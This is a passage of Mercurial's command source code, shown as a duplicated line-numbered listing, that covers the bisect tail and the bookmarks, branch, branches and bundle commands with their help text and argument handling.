1151 b"(%d changesets remaining, ~%d tests)\n"
1152 )
1152 )
1153 % (summary, changesets, tests)
1153 % (summary, changesets, tests)
1154 )
1154 )
1155 state[b'current'] = [node]
1155 state[b'current'] = [node]
1156 hbisect.save_state(repo, state)
1156 hbisect.save_state(repo, state)
1157 return mayupdate(repo, node)
1157 return mayupdate(repo, node)
1158
1158
1159
1159
1160 @command(
1160 @command(
1161 b'bookmarks|bookmark',
1161 b'bookmarks|bookmark',
1162 [
1162 [
1163 (b'f', b'force', False, _(b'force')),
1163 (b'f', b'force', False, _(b'force')),
1164 (b'r', b'rev', b'', _(b'revision for bookmark action'), _(b'REV')),
1164 (b'r', b'rev', b'', _(b'revision for bookmark action'), _(b'REV')),
1165 (b'd', b'delete', False, _(b'delete a given bookmark')),
1165 (b'd', b'delete', False, _(b'delete a given bookmark')),
1166 (b'm', b'rename', b'', _(b'rename a given bookmark'), _(b'OLD')),
1166 (b'm', b'rename', b'', _(b'rename a given bookmark'), _(b'OLD')),
1167 (b'i', b'inactive', False, _(b'mark a bookmark inactive')),
1167 (b'i', b'inactive', False, _(b'mark a bookmark inactive')),
1168 (b'l', b'list', False, _(b'list existing bookmarks')),
1168 (b'l', b'list', False, _(b'list existing bookmarks')),
1169 ]
1169 ]
1170 + formatteropts,
1170 + formatteropts,
1171 _(b'hg bookmarks [OPTIONS]... [NAME]...'),
1171 _(b'hg bookmarks [OPTIONS]... [NAME]...'),
1172 helpcategory=command.CATEGORY_CHANGE_ORGANIZATION,
1172 helpcategory=command.CATEGORY_CHANGE_ORGANIZATION,
1173 )
1173 )
1174 def bookmark(ui, repo, *names, **opts):
1174 def bookmark(ui, repo, *names, **opts):
1175 """create a new bookmark or list existing bookmarks
1175 """create a new bookmark or list existing bookmarks
1176
1176
1177 Bookmarks are labels on changesets to help track lines of development.
1177 Bookmarks are labels on changesets to help track lines of development.
1178 Bookmarks are unversioned and can be moved, renamed and deleted.
1178 Bookmarks are unversioned and can be moved, renamed and deleted.
1179 Deleting or moving a bookmark has no effect on the associated changesets.
1179 Deleting or moving a bookmark has no effect on the associated changesets.
1180
1180
1181 Creating or updating to a bookmark causes it to be marked as 'active'.
1181 Creating or updating to a bookmark causes it to be marked as 'active'.
1182 The active bookmark is indicated with a '*'.
1182 The active bookmark is indicated with a '*'.
1183 When a commit is made, the active bookmark will advance to the new commit.
1183 When a commit is made, the active bookmark will advance to the new commit.
1184 A plain :hg:`update` will also advance an active bookmark, if possible.
1184 A plain :hg:`update` will also advance an active bookmark, if possible.
1185 Updating away from a bookmark will cause it to be deactivated.
1185 Updating away from a bookmark will cause it to be deactivated.
1186
1186
1187 Bookmarks can be pushed and pulled between repositories (see
1187 Bookmarks can be pushed and pulled between repositories (see
1188 :hg:`help push` and :hg:`help pull`). If a shared bookmark has
1188 :hg:`help push` and :hg:`help pull`). If a shared bookmark has
1189 diverged, a new 'divergent bookmark' of the form 'name@path' will
1189 diverged, a new 'divergent bookmark' of the form 'name@path' will
1190 be created. Using :hg:`merge` will resolve the divergence.
1190 be created. Using :hg:`merge` will resolve the divergence.
1191
1191
1192 Specifying bookmark as '.' to -m/-d/-l options is equivalent to specifying
1192 Specifying bookmark as '.' to -m/-d/-l options is equivalent to specifying
1193 the active bookmark's name.
1193 the active bookmark's name.
1194
1194
1195 A bookmark named '@' has the special property that :hg:`clone` will
1195 A bookmark named '@' has the special property that :hg:`clone` will
1196 check it out by default if it exists.
1196 check it out by default if it exists.
1197
1197
1198 .. container:: verbose
1198 .. container:: verbose
1199
1199
1200 Template:
1200 Template:
1201
1201
1202 The following keywords are supported in addition to the common template
1202 The following keywords are supported in addition to the common template
1203 keywords and functions such as ``{bookmark}``. See also
1203 keywords and functions such as ``{bookmark}``. See also
1204 :hg:`help templates`.
1204 :hg:`help templates`.
1205
1205
1206 :active: Boolean. True if the bookmark is active.
1206 :active: Boolean. True if the bookmark is active.
1207
1207
1208 Examples:
1208 Examples:
1209
1209
1210 - create an active bookmark for a new line of development::
1210 - create an active bookmark for a new line of development::
1211
1211
1212 hg book new-feature
1212 hg book new-feature
1213
1213
1214 - create an inactive bookmark as a place marker::
1214 - create an inactive bookmark as a place marker::
1215
1215
1216 hg book -i reviewed
1216 hg book -i reviewed
1217
1217
1218 - create an inactive bookmark on another changeset::
1218 - create an inactive bookmark on another changeset::
1219
1219
1220 hg book -r .^ tested
1220 hg book -r .^ tested
1221
1221
1222 - rename bookmark turkey to dinner::
1222 - rename bookmark turkey to dinner::
1223
1223
1224 hg book -m turkey dinner
1224 hg book -m turkey dinner
1225
1225
1226 - move the '@' bookmark from another branch::
1226 - move the '@' bookmark from another branch::
1227
1227
1228 hg book -f @
1228 hg book -f @
1229
1229
1230 - print only the active bookmark name::
1230 - print only the active bookmark name::
1231
1231
1232 hg book -ql .
1232 hg book -ql .
1233 """
1233 """
1234 opts = pycompat.byteskwargs(opts)
1234 opts = pycompat.byteskwargs(opts)
1235 force = opts.get(b'force')
1235 force = opts.get(b'force')
1236 rev = opts.get(b'rev')
1236 rev = opts.get(b'rev')
1237 inactive = opts.get(b'inactive') # meaning add/rename to inactive bookmark
1237 inactive = opts.get(b'inactive') # meaning add/rename to inactive bookmark
1238
1238
1239 action = cmdutil.check_at_most_one_arg(opts, b'delete', b'rename', b'list')
1239 action = cmdutil.check_at_most_one_arg(opts, b'delete', b'rename', b'list')
1240 if action:
1240 if action:
1241 cmdutil.check_incompatible_arguments(opts, action, [b'rev'])
1241 cmdutil.check_incompatible_arguments(opts, action, [b'rev'])
1242 elif names or rev:
1242 elif names or rev:
1243 action = b'add'
1243 action = b'add'
1244 elif inactive:
1244 elif inactive:
1245 action = b'inactive' # meaning deactivate
1245 action = b'inactive' # meaning deactivate
1246 else:
1246 else:
1247 action = b'list'
1247 action = b'list'
1248
1248
1249 cmdutil.check_incompatible_arguments(
1249 cmdutil.check_incompatible_arguments(
1250 opts, b'inactive', [b'delete', b'list']
1250 opts, b'inactive', [b'delete', b'list']
1251 )
1251 )
1252 if not names and action in {b'add', b'delete'}:
1252 if not names and action in {b'add', b'delete'}:
1253 raise error.InputError(_(b"bookmark name required"))
1253 raise error.InputError(_(b"bookmark name required"))
1254
1254
1255 if action in {b'add', b'delete', b'rename', b'inactive'}:
1255 if action in {b'add', b'delete', b'rename', b'inactive'}:
1256 with repo.wlock(), repo.lock(), repo.transaction(b'bookmark') as tr:
1256 with repo.wlock(), repo.lock(), repo.transaction(b'bookmark') as tr:
1257 if action == b'delete':
1257 if action == b'delete':
1258 names = pycompat.maplist(repo._bookmarks.expandname, names)
1258 names = pycompat.maplist(repo._bookmarks.expandname, names)
1259 bookmarks.delete(repo, tr, names)
1259 bookmarks.delete(repo, tr, names)
1260 elif action == b'rename':
1260 elif action == b'rename':
1261 if not names:
1261 if not names:
1262 raise error.InputError(_(b"new bookmark name required"))
1262 raise error.InputError(_(b"new bookmark name required"))
1263 elif len(names) > 1:
1263 elif len(names) > 1:
1264 raise error.InputError(
1264 raise error.InputError(
1265 _(b"only one new bookmark name allowed")
1265 _(b"only one new bookmark name allowed")
1266 )
1266 )
1267 oldname = repo._bookmarks.expandname(opts[b'rename'])
1267 oldname = repo._bookmarks.expandname(opts[b'rename'])
1268 bookmarks.rename(repo, tr, oldname, names[0], force, inactive)
1268 bookmarks.rename(repo, tr, oldname, names[0], force, inactive)
1269 elif action == b'add':
1269 elif action == b'add':
1270 bookmarks.addbookmarks(repo, tr, names, rev, force, inactive)
1270 bookmarks.addbookmarks(repo, tr, names, rev, force, inactive)
1271 elif action == b'inactive':
1271 elif action == b'inactive':
1272 if len(repo._bookmarks) == 0:
1272 if len(repo._bookmarks) == 0:
1273 ui.status(_(b"no bookmarks set\n"))
1273 ui.status(_(b"no bookmarks set\n"))
1274 elif not repo._activebookmark:
1274 elif not repo._activebookmark:
1275 ui.status(_(b"no active bookmark\n"))
1275 ui.status(_(b"no active bookmark\n"))
1276 else:
1276 else:
1277 bookmarks.deactivate(repo)
1277 bookmarks.deactivate(repo)
1278 elif action == b'list':
1278 elif action == b'list':
1279 names = pycompat.maplist(repo._bookmarks.expandname, names)
1279 names = pycompat.maplist(repo._bookmarks.expandname, names)
1280 with ui.formatter(b'bookmarks', opts) as fm:
1280 with ui.formatter(b'bookmarks', opts) as fm:
1281 bookmarks.printbookmarks(ui, repo, fm, names)
1281 bookmarks.printbookmarks(ui, repo, fm, names)
1282 else:
1282 else:
1283 raise error.ProgrammingError(b'invalid action: %s' % action)
1283 raise error.ProgrammingError(b'invalid action: %s' % action)
1284
1284
1285
1285
1286 @command(
1286 @command(
1287 b'branch',
1287 b'branch',
1288 [
1288 [
1289 (
1289 (
1290 b'f',
1290 b'f',
1291 b'force',
1291 b'force',
1292 None,
1292 None,
1293 _(b'set branch name even if it shadows an existing branch'),
1293 _(b'set branch name even if it shadows an existing branch'),
1294 ),
1294 ),
1295 (b'C', b'clean', None, _(b'reset branch name to parent branch name')),
1295 (b'C', b'clean', None, _(b'reset branch name to parent branch name')),
1296 (
1296 (
1297 b'r',
1297 b'r',
1298 b'rev',
1298 b'rev',
1299 [],
1299 [],
1300 _(b'change branches of the given revs (EXPERIMENTAL)'),
1300 _(b'change branches of the given revs (EXPERIMENTAL)'),
1301 ),
1301 ),
1302 ],
1302 ],
1303 _(b'[-fC] [NAME]'),
1303 _(b'[-fC] [NAME]'),
1304 helpcategory=command.CATEGORY_CHANGE_ORGANIZATION,
1304 helpcategory=command.CATEGORY_CHANGE_ORGANIZATION,
1305 )
1305 )
1306 def branch(ui, repo, label=None, **opts):
1306 def branch(ui, repo, label=None, **opts):
1307 """set or show the current branch name
1307 """set or show the current branch name
1308
1308
1309 .. note::
1309 .. note::
1310
1310
1311 Branch names are permanent and global. Use :hg:`bookmark` to create a
1311 Branch names are permanent and global. Use :hg:`bookmark` to create a
1312 light-weight bookmark instead. See :hg:`help glossary` for more
1312 light-weight bookmark instead. See :hg:`help glossary` for more
1313 information about named branches and bookmarks.
1313 information about named branches and bookmarks.
1314
1314
1315 With no argument, show the current branch name. With one argument,
1315 With no argument, show the current branch name. With one argument,
1316 set the working directory branch name (the branch will not exist
1316 set the working directory branch name (the branch will not exist
1317 in the repository until the next commit). Standard practice
1317 in the repository until the next commit). Standard practice
1318 recommends that primary development take place on the 'default'
1318 recommends that primary development take place on the 'default'
1319 branch.
1319 branch.
1320
1320
1321 Unless -f/--force is specified, branch will not let you set a
1321 Unless -f/--force is specified, branch will not let you set a
1322 branch name that already exists.
1322 branch name that already exists.
1323
1323
1324 Use -C/--clean to reset the working directory branch to that of
1324 Use -C/--clean to reset the working directory branch to that of
1325 the parent of the working directory, negating a previous branch
1325 the parent of the working directory, negating a previous branch
1326 change.
1326 change.
1327
1327
1328 Use the command :hg:`update` to switch to an existing branch. Use
1328 Use the command :hg:`update` to switch to an existing branch. Use
1329 :hg:`commit --close-branch` to mark this branch head as closed.
1329 :hg:`commit --close-branch` to mark this branch head as closed.
1330 When all heads of a branch are closed, the branch will be
1330 When all heads of a branch are closed, the branch will be
1331 considered closed.
1331 considered closed.
1332
1332
1333 Returns 0 on success.
1333 Returns 0 on success.
1334 """
1334 """
1335 opts = pycompat.byteskwargs(opts)
1335 opts = pycompat.byteskwargs(opts)
1336 revs = opts.get(b'rev')
1336 revs = opts.get(b'rev')
1337 if label:
1337 if label:
1338 label = label.strip()
1338 label = label.strip()
1339
1339
1340 if not opts.get(b'clean') and not label:
1340 if not opts.get(b'clean') and not label:
1341 if revs:
1341 if revs:
1342 raise error.InputError(
1342 raise error.InputError(
1343 _(b"no branch name specified for the revisions")
1343 _(b"no branch name specified for the revisions")
1344 )
1344 )
1345 ui.write(b"%s\n" % repo.dirstate.branch())
1345 ui.write(b"%s\n" % repo.dirstate.branch())
1346 return
1346 return
1347
1347
1348 with repo.wlock():
1348 with repo.wlock():
1349 if opts.get(b'clean'):
1349 if opts.get(b'clean'):
1350 label = repo[b'.'].branch()
1350 label = repo[b'.'].branch()
1351 repo.dirstate.setbranch(label)
1351 repo.dirstate.setbranch(label)
1352 ui.status(_(b'reset working directory to branch %s\n') % label)
1352 ui.status(_(b'reset working directory to branch %s\n') % label)
1353 elif label:
1353 elif label:
1354
1354
1355 scmutil.checknewlabel(repo, label, b'branch')
1355 scmutil.checknewlabel(repo, label, b'branch')
1356 if revs:
1356 if revs:
1357 return cmdutil.changebranch(ui, repo, revs, label, opts)
1357 return cmdutil.changebranch(ui, repo, revs, label, opts)
1358
1358
1359 if not opts.get(b'force') and label in repo.branchmap():
1359 if not opts.get(b'force') and label in repo.branchmap():
1360 if label not in [p.branch() for p in repo[None].parents()]:
1360 if label not in [p.branch() for p in repo[None].parents()]:
1361 raise error.InputError(
1361 raise error.InputError(
1362 _(b'a branch of the same name already exists'),
1362 _(b'a branch of the same name already exists'),
1363 # i18n: "it" refers to an existing branch
1363 # i18n: "it" refers to an existing branch
1364 hint=_(b"use 'hg update' to switch to it"),
1364 hint=_(b"use 'hg update' to switch to it"),
1365 )
1365 )
1366
1366
1367 repo.dirstate.setbranch(label)
1367 repo.dirstate.setbranch(label)
1368 ui.status(_(b'marked working directory as branch %s\n') % label)
1368 ui.status(_(b'marked working directory as branch %s\n') % label)
1369
1369
1370 # find any open named branches aside from default
1370 # find any open named branches aside from default
1371 for n, h, t, c in repo.branchmap().iterbranches():
1371 for n, h, t, c in repo.branchmap().iterbranches():
1372 if n != b"default" and not c:
1372 if n != b"default" and not c:
1373 return 0
1373 return 0
1374 ui.status(
1374 ui.status(
1375 _(
1375 _(
1376 b'(branches are permanent and global, '
1376 b'(branches are permanent and global, '
1377 b'did you want a bookmark?)\n'
1377 b'did you want a bookmark?)\n'
1378 )
1378 )
1379 )
1379 )
1380
1380
1381
1381
1382 @command(
1382 @command(
1383 b'branches',
1383 b'branches',
1384 [
1384 [
1385 (
1385 (
1386 b'a',
1386 b'a',
1387 b'active',
1387 b'active',
1388 False,
1388 False,
1389 _(b'show only branches that have unmerged heads (DEPRECATED)'),
1389 _(b'show only branches that have unmerged heads (DEPRECATED)'),
1390 ),
1390 ),
1391 (b'c', b'closed', False, _(b'show normal and closed branches')),
1391 (b'c', b'closed', False, _(b'show normal and closed branches')),
1392 (b'r', b'rev', [], _(b'show branch name(s) of the given rev')),
1392 (b'r', b'rev', [], _(b'show branch name(s) of the given rev')),
1393 ]
1393 ]
1394 + formatteropts,
1394 + formatteropts,
1395 _(b'[-c]'),
1395 _(b'[-c]'),
1396 helpcategory=command.CATEGORY_CHANGE_ORGANIZATION,
1396 helpcategory=command.CATEGORY_CHANGE_ORGANIZATION,
1397 intents={INTENT_READONLY},
1397 intents={INTENT_READONLY},
1398 )
1398 )
1399 def branches(ui, repo, active=False, closed=False, **opts):
1399 def branches(ui, repo, active=False, closed=False, **opts):
1400 """list repository named branches
1400 """list repository named branches
1401
1401
1402 List the repository's named branches, indicating which ones are
1402 List the repository's named branches, indicating which ones are
1403 inactive. If -c/--closed is specified, also list branches which have
1403 inactive. If -c/--closed is specified, also list branches which have
1404 been marked closed (see :hg:`commit --close-branch`).
1404 been marked closed (see :hg:`commit --close-branch`).
1405
1405
1406 Use the command :hg:`update` to switch to an existing branch.
1406 Use the command :hg:`update` to switch to an existing branch.
1407
1407
1408 .. container:: verbose
1408 .. container:: verbose
1409
1409
1410 Template:
1410 Template:
1411
1411
1412 The following keywords are supported in addition to the common template
1412 The following keywords are supported in addition to the common template
1413 keywords and functions such as ``{branch}``. See also
1413 keywords and functions such as ``{branch}``. See also
1414 :hg:`help templates`.
1414 :hg:`help templates`.
1415
1415
1416 :active: Boolean. True if the branch is active.
1416 :active: Boolean. True if the branch is active.
1417 :closed: Boolean. True if the branch is closed.
1417 :closed: Boolean. True if the branch is closed.
1418 :current: Boolean. True if it is the current branch.
1418 :current: Boolean. True if it is the current branch.
1419
1419
1420 Returns 0.
1420 Returns 0.
1421 """
1421 """
1422
1422
1423 opts = pycompat.byteskwargs(opts)
1423 opts = pycompat.byteskwargs(opts)
1424 revs = opts.get(b'rev')
1424 revs = opts.get(b'rev')
1425 selectedbranches = None
1425 selectedbranches = None
1426 if revs:
1426 if revs:
1427 revs = logcmdutil.revrange(repo, revs)
1427 revs = logcmdutil.revrange(repo, revs)
1428 getbi = repo.revbranchcache().branchinfo
1428 getbi = repo.revbranchcache().branchinfo
1429 selectedbranches = {getbi(r)[0] for r in revs}
1429 selectedbranches = {getbi(r)[0] for r in revs}
1430
1430
1431 ui.pager(b'branches')
1431 ui.pager(b'branches')
1432 fm = ui.formatter(b'branches', opts)
1432 fm = ui.formatter(b'branches', opts)
1433 hexfunc = fm.hexfunc
1433 hexfunc = fm.hexfunc
1434
1434
1435 allheads = set(repo.heads())
1435 allheads = set(repo.heads())
1436 branches = []
1436 branches = []
1437 for tag, heads, tip, isclosed in repo.branchmap().iterbranches():
1437 for tag, heads, tip, isclosed in repo.branchmap().iterbranches():
1438 if selectedbranches is not None and tag not in selectedbranches:
1438 if selectedbranches is not None and tag not in selectedbranches:
1439 continue
1439 continue
1440 isactive = False
1440 isactive = False
1441 if not isclosed:
1441 if not isclosed:
1442 openheads = set(repo.branchmap().iteropen(heads))
1442 openheads = set(repo.branchmap().iteropen(heads))
1443 isactive = bool(openheads & allheads)
1443 isactive = bool(openheads & allheads)
1444 branches.append((tag, repo[tip], isactive, not isclosed))
1444 branches.append((tag, repo[tip], isactive, not isclosed))
1445 branches.sort(key=lambda i: (i[2], i[1].rev(), i[0], i[3]), reverse=True)
1445 branches.sort(key=lambda i: (i[2], i[1].rev(), i[0], i[3]), reverse=True)
1446
1446
1447 for tag, ctx, isactive, isopen in branches:
1447 for tag, ctx, isactive, isopen in branches:
1448 if active and not isactive:
1448 if active and not isactive:
1449 continue
1449 continue
1450 if isactive:
1450 if isactive:
1451 label = b'branches.active'
1451 label = b'branches.active'
1452 notice = b''
1452 notice = b''
1453 elif not isopen:
1453 elif not isopen:
1454 if not closed:
1454 if not closed:
1455 continue
1455 continue
1456 label = b'branches.closed'
1456 label = b'branches.closed'
1457 notice = _(b' (closed)')
1457 notice = _(b' (closed)')
1458 else:
1458 else:
1459 label = b'branches.inactive'
1459 label = b'branches.inactive'
1460 notice = _(b' (inactive)')
1460 notice = _(b' (inactive)')
1461 current = tag == repo.dirstate.branch()
1461 current = tag == repo.dirstate.branch()
1462 if current:
1462 if current:
1463 label = b'branches.current'
1463 label = b'branches.current'
1464
1464
1465 fm.startitem()
1465 fm.startitem()
1466 fm.write(b'branch', b'%s', tag, label=label)
1466 fm.write(b'branch', b'%s', tag, label=label)
1467 rev = ctx.rev()
1467 rev = ctx.rev()
1468 padsize = max(31 - len(b"%d" % rev) - encoding.colwidth(tag), 0)
1468 padsize = max(31 - len(b"%d" % rev) - encoding.colwidth(tag), 0)
1469 fmt = b' ' * padsize + b' %d:%s'
1469 fmt = b' ' * padsize + b' %d:%s'
1470 fm.condwrite(
1470 fm.condwrite(
1471 not ui.quiet,
1471 not ui.quiet,
1472 b'rev node',
1472 b'rev node',
1473 fmt,
1473 fmt,
1474 rev,
1474 rev,
1475 hexfunc(ctx.node()),
1475 hexfunc(ctx.node()),
1476 label=b'log.changeset changeset.%s' % ctx.phasestr(),
1476 label=b'log.changeset changeset.%s' % ctx.phasestr(),
1477 )
1477 )
1478 fm.context(ctx=ctx)
1478 fm.context(ctx=ctx)
1479 fm.data(active=isactive, closed=not isopen, current=current)
1479 fm.data(active=isactive, closed=not isopen, current=current)
1480 if not ui.quiet:
1480 if not ui.quiet:
1481 fm.plain(notice)
1481 fm.plain(notice)
1482 fm.plain(b'\n')
1482 fm.plain(b'\n')
1483 fm.end()
1483 fm.end()
1484
1484
1485
1485
1486 @command(
1486 @command(
1487 b'bundle',
1487 b'bundle',
1488 [
1488 [
1489 (
1489 (
1490 b'f',
1490 b'f',
1491 b'force',
1491 b'force',
1492 None,
1492 None,
1493 _(b'run even when the destination is unrelated'),
1493 _(b'run even when the destination is unrelated'),
1494 ),
1494 ),
1495 (
1495 (
1496 b'r',
1496 b'r',
1497 b'rev',
1497 b'rev',
1498 [],
1498 [],
1499 _(b'a changeset intended to be added to the destination'),
1499 _(b'a changeset intended to be added to the destination'),
1500 _(b'REV'),
1500 _(b'REV'),
1501 ),
1501 ),
1502 (
1502 (
1503 b'b',
1503 b'b',
1504 b'branch',
1504 b'branch',
1505 [],
1505 [],
1506 _(b'a specific branch you would like to bundle'),
1506 _(b'a specific branch you would like to bundle'),
1507 _(b'BRANCH'),
1507 _(b'BRANCH'),
1508 ),
1508 ),
1509 (
1509 (
1510 b'',
1510 b'',
1511 b'base',
1511 b'base',
1512 [],
1512 [],
1513 _(b'a base changeset assumed to be available at the destination'),
1513 _(b'a base changeset assumed to be available at the destination'),
1514 _(b'REV'),
1514 _(b'REV'),
1515 ),
1515 ),
1516 (b'a', b'all', None, _(b'bundle all changesets in the repository')),
1516 (b'a', b'all', None, _(b'bundle all changesets in the repository')),
1517 (
1517 (
1518 b't',
1518 b't',
1519 b'type',
1519 b'type',
1520 b'bzip2',
1520 b'bzip2',
1521 _(b'bundle compression type to use'),
1521 _(b'bundle compression type to use'),
1522 _(b'TYPE'),
1522 _(b'TYPE'),
1523 ),
1523 ),
1524 ]
1524 ]
1525 + remoteopts,
1525 + remoteopts,
1526 _(b'[-f] [-t BUNDLESPEC] [-a] [-r REV]... [--base REV]... FILE [DEST]...'),
1526 _(b'[-f] [-t BUNDLESPEC] [-a] [-r REV]... [--base REV]... FILE [DEST]...'),
1527 helpcategory=command.CATEGORY_IMPORT_EXPORT,
1527 helpcategory=command.CATEGORY_IMPORT_EXPORT,
1528 )
1528 )
1529 def bundle(ui, repo, fname, *dests, **opts):
1529 def bundle(ui, repo, fname, *dests, **opts):
1530 """create a bundle file
1530 """create a bundle file
1531
1531
1532 Generate a bundle file containing data to be transferred to another
1532 Generate a bundle file containing data to be transferred to another
1533 repository.
1533 repository.
1534
1534
1535 To create a bundle containing all changesets, use -a/--all
1535 To create a bundle containing all changesets, use -a/--all
1536 (or --base null). Otherwise, hg assumes the destination will have
1536 (or --base null). Otherwise, hg assumes the destination will have
1537 all the nodes you specify with --base parameters. Otherwise, hg
1537 all the nodes you specify with --base parameters. Otherwise, hg
1538 will assume the repository has all the nodes in destination, or
1538 will assume the repository has all the nodes in destination, or
1539 default-push/default if no destination is specified, where destination
1539 default-push/default if no destination is specified, where destination
1540 is the repositories you provide through DEST option.
1540 is the repositories you provide through DEST option.
1541
1541
1542 You can change bundle format with the -t/--type option. See
1542 You can change bundle format with the -t/--type option. See
1543 :hg:`help bundlespec` for documentation on this format. By default,
1543 :hg:`help bundlespec` for documentation on this format. By default,
1544 the most appropriate format is used and compression defaults to
1544 the most appropriate format is used and compression defaults to
1545 bzip2.
1545 bzip2.
1546
1546
1547 The bundle file can then be transferred using conventional means
1547 The bundle file can then be transferred using conventional means
1548 and applied to another repository with the unbundle or pull
1548 and applied to another repository with the unbundle or pull
1549 command. This is useful when direct push and pull are not
1549 command. This is useful when direct push and pull are not
1550 available or when exporting an entire repository is undesirable.
1550 available or when exporting an entire repository is undesirable.
1551
1551
1552 Applying bundles preserves all changeset contents including
1552 Applying bundles preserves all changeset contents including
1553 permissions, copy/rename information, and revision history.
1553 permissions, copy/rename information, and revision history.
1554
1554
1555 Returns 0 on success, 1 if no changes found.
1555 Returns 0 on success, 1 if no changes found.
1556 """
1556 """
1557 opts = pycompat.byteskwargs(opts)
1557 opts = pycompat.byteskwargs(opts)
1558 revs = None
1558 revs = None
1559 if b'rev' in opts:
1559 if b'rev' in opts:
1560 revstrings = opts[b'rev']
1560 revstrings = opts[b'rev']
1561 revs = logcmdutil.revrange(repo, revstrings)
1561 revs = logcmdutil.revrange(repo, revstrings)
1562 if revstrings and not revs:
1562 if revstrings and not revs:
1563 raise error.InputError(_(b'no commits to bundle'))
1563 raise error.InputError(_(b'no commits to bundle'))
1564
1564
1565 bundletype = opts.get(b'type', b'bzip2').lower()
1565 bundletype = opts.get(b'type', b'bzip2').lower()
1566 try:
1566 try:
1567 bundlespec = bundlecaches.parsebundlespec(
1567 bundlespec = bundlecaches.parsebundlespec(
1568 repo, bundletype, strict=False
1568 repo, bundletype, strict=False
1569 )
1569 )
1570 except error.UnsupportedBundleSpecification as e:
1570 except error.UnsupportedBundleSpecification as e:
1571 raise error.InputError(
1571 raise error.InputError(
1572 pycompat.bytestr(e),
1572 pycompat.bytestr(e),
1573 hint=_(b"see 'hg help bundlespec' for supported values for --type"),
1573 hint=_(b"see 'hg help bundlespec' for supported values for --type"),
1574 )
1574 )
1575 cgversion = bundlespec.contentopts[b"cg.version"]
1575 cgversion = bundlespec.contentopts[b"cg.version"]
1576
1576
1577 # Packed bundles are a pseudo bundle format for now.
1577 # Packed bundles are a pseudo bundle format for now.
1578 if cgversion == b's1':
1578 if cgversion == b's1':
1579 raise error.InputError(
1579 raise error.InputError(
1580 _(b'packed bundles cannot be produced by "hg bundle"'),
1580 _(b'packed bundles cannot be produced by "hg bundle"'),
1581 hint=_(b"use 'hg debugcreatestreamclonebundle'"),
1581 hint=_(b"use 'hg debugcreatestreamclonebundle'"),
1582 )
1582 )
1583
1583
1584 if opts.get(b'all'):
1584 if opts.get(b'all'):
1585 if dests:
1585 if dests:
1586 raise error.InputError(
1586 raise error.InputError(
1587 _(b"--all is incompatible with specifying destinations")
1587 _(b"--all is incompatible with specifying destinations")
1588 )
1588 )
1589 if opts.get(b'base'):
1589 if opts.get(b'base'):
1590 ui.warn(_(b"ignoring --base because --all was specified\n"))
1590 ui.warn(_(b"ignoring --base because --all was specified\n"))
1591 base = [nullrev]
1591 base = [nullrev]
1592 else:
1592 else:
1593 base = logcmdutil.revrange(repo, opts.get(b'base'))
1593 base = logcmdutil.revrange(repo, opts.get(b'base'))
1594 if cgversion not in changegroup.supportedoutgoingversions(repo):
1594 if cgversion not in changegroup.supportedoutgoingversions(repo):
1595 raise error.Abort(
1595 raise error.Abort(
1596 _(b"repository does not support bundle version %s") % cgversion
1596 _(b"repository does not support bundle version %s") % cgversion
1597 )
1597 )
1598
1598
1599 if base:
1599 if base:
1600 if dests:
1600 if dests:
1601 raise error.InputError(
1601 raise error.InputError(
1602 _(b"--base is incompatible with specifying destinations")
1602 _(b"--base is incompatible with specifying destinations")
1603 )
1603 )
1604 common = [repo[rev].node() for rev in base]
1604 common = [repo[rev].node() for rev in base]
1605 heads = [repo[r].node() for r in revs] if revs else None
1605 heads = [repo[r].node() for r in revs] if revs else None
1606 outgoing = discovery.outgoing(repo, common, heads)
1606 outgoing = discovery.outgoing(repo, common, heads)
1607 missing = outgoing.missing
1607 missing = outgoing.missing
1608 excluded = outgoing.excluded
1608 excluded = outgoing.excluded
1609 else:
1609 else:
1610 missing = set()
1610 missing = set()
1611 excluded = set()
1611 excluded = set()
1612 for path in urlutil.get_push_paths(repo, ui, dests):
1612 for path in urlutil.get_push_paths(repo, ui, dests):
1613 other = hg.peer(repo, opts, path.rawloc)
1613 other = hg.peer(repo, opts, path.rawloc)
1614 if revs is not None:
1614 if revs is not None:
1615 hex_revs = [repo[r].hex() for r in revs]
1615 hex_revs = [repo[r].hex() for r in revs]
1616 else:
1616 else:
1617 hex_revs = None
1617 hex_revs = None
1618 branches = (path.branch, [])
1618 branches = (path.branch, [])
1619 head_revs, checkout = hg.addbranchrevs(
1619 head_revs, checkout = hg.addbranchrevs(
1620 repo, repo, branches, hex_revs
1620 repo, repo, branches, hex_revs
1621 )
1621 )
1622 heads = (
1622 heads = (
1623 head_revs
1623 head_revs
1624 and pycompat.maplist(repo.lookup, head_revs)
1624 and pycompat.maplist(repo.lookup, head_revs)
1625 or head_revs
1625 or head_revs
1626 )
1626 )
1627 outgoing = discovery.findcommonoutgoing(
1627 outgoing = discovery.findcommonoutgoing(
1628 repo,
1628 repo,
1629 other,
1629 other,
1630 onlyheads=heads,
1630 onlyheads=heads,
1631 force=opts.get(b'force'),
1631 force=opts.get(b'force'),
1632 portable=True,
1632 portable=True,
1633 )
1633 )
1634 missing.update(outgoing.missing)
1634 missing.update(outgoing.missing)
1635 excluded.update(outgoing.excluded)
1635 excluded.update(outgoing.excluded)
1636
1636
1637 if not missing:
1637 if not missing:
1638 scmutil.nochangesfound(ui, repo, not base and excluded)
1638 scmutil.nochangesfound(ui, repo, not base and excluded)
1639 return 1
1639 return 1
1640
1640
1641 if heads:
1641 if heads:
1642 outgoing = discovery.outgoing(
1642 outgoing = discovery.outgoing(
1643 repo, missingroots=missing, ancestorsof=heads
1643 repo, missingroots=missing, ancestorsof=heads
1644 )
1644 )
1645 else:
1645 else:
1646 outgoing = discovery.outgoing(repo, missingroots=missing)
1646 outgoing = discovery.outgoing(repo, missingroots=missing)
1647 outgoing.excluded = sorted(excluded)
1647 outgoing.excluded = sorted(excluded)
1648
1648
1649 if cgversion == b'01': # bundle1
1649 if cgversion == b'01': # bundle1
1650 bversion = b'HG10' + bundlespec.wirecompression
1650 bversion = b'HG10' + bundlespec.wirecompression
1651 bcompression = None
1651 bcompression = None
1652 elif cgversion in (b'02', b'03'):
1652 elif cgversion in (b'02', b'03'):
1653 bversion = b'HG20'
1653 bversion = b'HG20'
1654 bcompression = bundlespec.wirecompression
1654 bcompression = bundlespec.wirecompression
1655 else:
1655 else:
1656 raise error.ProgrammingError(
1656 raise error.ProgrammingError(
1657 b'bundle: unexpected changegroup version %s' % cgversion
1657 b'bundle: unexpected changegroup version %s' % cgversion
1658 )
1658 )
1659
1659
1660 # TODO compression options should be derived from bundlespec parsing.
1660 # TODO compression options should be derived from bundlespec parsing.
1661 # This is a temporary hack to allow adjusting bundle compression
1661 # This is a temporary hack to allow adjusting bundle compression
1662 # level without a) formalizing the bundlespec changes to declare it
